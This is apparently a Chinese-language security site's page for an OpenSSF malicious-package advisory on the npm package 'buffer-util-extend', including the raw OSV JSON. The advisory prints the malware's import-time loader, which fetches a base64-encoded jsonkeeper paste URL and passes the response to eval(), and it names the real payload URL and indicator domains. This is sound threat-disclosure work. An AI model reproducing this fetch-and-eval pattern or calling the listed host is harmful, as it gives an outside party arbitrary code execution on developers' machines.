目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

buffer-util-extend

MAL-2026-2920
2026-09-01 11:20:25
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in buffer-util-extend (npm)

凭据/密钥窃取
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
1
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmbuffer-util-extend*
npmbuffer-util-extend1.0.1
npmbuffer-util-extend1.0.10
npmbuffer-util-extend1.0.11
npmbuffer-util-extend1.0.13
npmbuffer-util-extend1.0.2
npmbuffer-util-extend1.0.3
npmbuffer-util-extend1.0.4
npmbuffer-util-extend1.0.5
npmbuffer-util-extend1.0.6
npmbuffer-util-extend1.0.7
npmbuffer-util-extend1.0.8
npmbuffer-util-extend1.0.9
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-2920","published":"2026-04-14T10:22:11Z","modified":"2026-09-01T11:20:25.066134756Z","aliases":["GHSA-g44v-3gq3-j8p6"],"summary":"Malicious code in buffer-util-extend (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (374d8c5c4c32544741d1ea3788cfbccc3ee175f7181f8bdfa71cf4fde44121eb)\nOn require/import, index.js decodes a base64 string literal to https://www.jsonkeeper.com/b/CWOV9, fetches that anonymous JSON paste, and passes the response's `content` field to `eval()` (index.js:46 stores the base64-encoded URL; index.js:59-65 performs `fetch(atob(...)).then(t=>t.json()).then(data => eval(data.content))`). Any consumer that `require`s this package executes whatever JavaScript is currently hosted at the mutable paste URL — full arbitrary code execution on the installer/build machine, with the operator able to swap payloads at any time without republishing the package. The package additionally impersonates the widely-used `buffer` package: it copies Feross Aboukhadijeh's authorship metadata, homepage `https://github.com/feross/buffer`, the README references, and the Buffer polyfill source verbatim, while adding unrelated dependencies (`axios`, `request`, `execp`) and the remote-eval payload. Name-confusion against a top-tier npm package combined with concrete import-time RCE makes this a deliberate supply-chain attack.\n\n## Source: ghsa-malware (02f401e0ab3531cba5483401d32d2d7eea5db24f589519b5ade0af6eb4c689c7)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\n## Source: ossf-package-analysis (cbf9a942d65fe7c78ccee4d48e1122302552eb0aa8b9f442cf7f5eba43496d22)\nThe OpenSSF Package Analysis project identified 'buffer-util-extend' @ 1.0.8 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"buffer-util-extend","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.8","1.0.13","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.9","1.0.10","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["www.jsonkeeper.com","34.9.16.104.in-addr.arpa","ip-api.com"],"evidence_files":[{"path":"index.js","sha256":"259fe955fae02f969363637eb267fa01755fec71c03eaa9d5e7f0cafc7a08015","tlsh":"805353022e5251274777b33d984f950efb36e427462688c8b4ac84502fb5964cafbefd"},{"path":"package.json","sha256":"caacbc68e308f83502547fdd82ccf2a9e06cf3f91c5d44448e2b8a89d34a61a4","tlsh":"8451952bcc9a4c6b0ab467f5a93e1a0af521472f4490480fb5bf1a8d4ff56a7118df1c"}],"package_integrity":[{"filename":"buffer-util-extend-1.0.13.tgz","hashes":{"sha1":"d2413a915790c06c65cb238104c62c9d08dfac7e","sha512_sri":"sha512-It2zAX/NiEJ8CEa1SNEigAsQgtpb/wfRQzMXRXt4ZZxOU6OqrxlAzNswyDOLTYc65X4q6aS/va4osSeHMma+zw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/buffer-util-extend/v/1.0.13"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/buffer-util-extend/v/1.0.11"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g44v-3gq3-j8p6"},{"type":"WEB","url":"https://www.sonatype.com/blog/lazarus-groups-latest-brandjacking-campaign-on-npm"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-04-20T04:35:28.875981121Z","modified_time":"2026-04-14T10:22:11Z","sha256":"cbf9a942d65fe7c78ccee4d48e1122302552eb0aa8b9f442cf7f5eba43496d22","source":"ossf-package-analysis","versions":["1.0.8"]},{"import_time":"2026-04-23T20:49:14.577571741Z","modified_time":"2026-04-23T20:43:56Z","sha256":"bcd88e9635418fa888c76ed442537e5c237ae0cd3df5c7b6d3e5ea3bf1a8391f","source":"amazon-inspector","versions":["1.0.8"]},{"id":"IN-MAL-2026-004719","import_time":"2026-05-26T05:53:09.167204826Z","modified_time":"2026-05-25T16:14:57Z","sha256":"dc95bbeb5e3b59003bef85ab78ffd1e3dc1401e5c3027f35f25cc19f9c54bfc4","source":"amazon-inspector","versions":["1.0.13"]},{"id":"IN-MAL-2026-004720","import_time":"2026-05-26T05:53:09.261079774Z","modified_time":"2026-05-25T16:15:02Z","sha256":"1f6e6734740a2677b263781db18f7a1f11284aba33560ac6f15d6695cbc3daf5","source":"amazon-inspector","versions":["1.0.13"]},{"id":"IN-MAL-2026-004705","import_time":"2026-05-26T05:53:07.282384763Z","modified_time":"2026-05-25T15:31:57Z","sha256":"374d8c5c4c32544741d1ea3788cfbccc3ee175f7181f8bdfa71cf4fde44121eb","source":"amazon-inspector","versions":["1.0.11"]},{"id":"IN-MAL-2026-004706","import_time":"2026-05-26T05:53:07.373019473Z","modified_time":"2026-05-25T15:32:42Z","sha256":"d7c17ae06ae72378d9377d6dd2c24295e6841469b0f3d278f67d33415a3619fd","source":"amazon-inspector","versions":["1.0.11"]},{"id":"GHSA-g44v-3gq3-j8p6","import_time":"2026-05-29T13:28:09.205173759Z","modified_time":"2026-05-29T12:52:20Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"02f401e0ab3531cba5483401d32d2d7eea5db24f589519b5ade0af6eb4c689c7","source":"ghsa-malware"},{"id":"RLMA-2026-04970","import_time":"2026-07-09T09:16:20.019530658Z","modified_time":"2026-07-07T12:42:08Z","sha256":"2718ba0cfada3c59c553c3ead24b038403484c0c5d3ee12f8564a831d6083cbb","source":"reversing-labs","versions":["1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.0.10","1.0.11","1.0.13"]},{"id":"RLUA-2026-06102","import_time":"2026-09-01T11:17:58.356701809Z","modified_time":"2026-08-24T16:42:27Z","sha256":"de57c0f9dedd7d6eba2b49f2736e64e350b21f65e43b5918e800206218f7f991","source":"reversing-labs","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"},{"name":"ReversingLabs","contact":["https://www.reversinglabs.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0